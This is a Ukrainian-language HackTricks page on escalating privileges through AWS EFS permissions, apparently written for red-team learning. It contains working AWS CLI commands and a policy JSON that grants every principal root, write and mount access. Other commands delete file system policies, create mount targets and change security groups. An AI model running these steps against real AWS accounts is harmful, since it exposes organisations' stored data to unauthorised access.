AWS - EFS Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

EFS

Додаткова інформація про EFS:

pageAWS - EFS Enum

Пам'ятайте, що для монтування EFS вам потрібно знаходитися в підмережі, де EFS викритий і мати до нього доступ (групи безпеки). Якщо це відбувається, за замовчуванням ви завжди зможете його монтувати, однак, якщо він захищений політиками IAM, вам потрібно мати додаткові дозволи, згадані тут, щоб мати до нього доступ.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

З будь-якими з цих дозволів зловмисник може змінити політику файлової системи, щоб надати вам доступ до неї, або просто видалити її, щоб був наданий стандартний доступ.

Для видалення політики:

aws efs delete-file-system-policy \
--file-system-id <value>

Щоб змінити це:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

З цим дозволом зловмисник зможе підключити EFS. Якщо дозвіл на запис не надається за замовчуванням усім, хто може підключити EFS, він матиме лише доступ на читання.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Додаткові дозволи elasticfilesystem:ClientRootAccess та elasticfilesystem:ClientWrite можуть бути використані для запису всередині файлової системи після її монтування та для доступу до цієї файлової системи як root.

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в файловій системі.

elasticfilesystem:CreateMountTarget

Якщо зловмисник перебуває в підмережі, де не існує жодної цілі монтування EFS. Він може просто створити одну в своїй підмережі з цим дозволом:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в файловій системі.

elasticfilesystem:ModifyMountTargetSecurityGroups

У випадку, коли зловмисник виявляє, що EFS має ціль монтування в його підмережі, але жодна група безпеки не дозволяє трафік, він може просто змінити це, змінивши вибрані групи безпеки:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в файловій системі.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated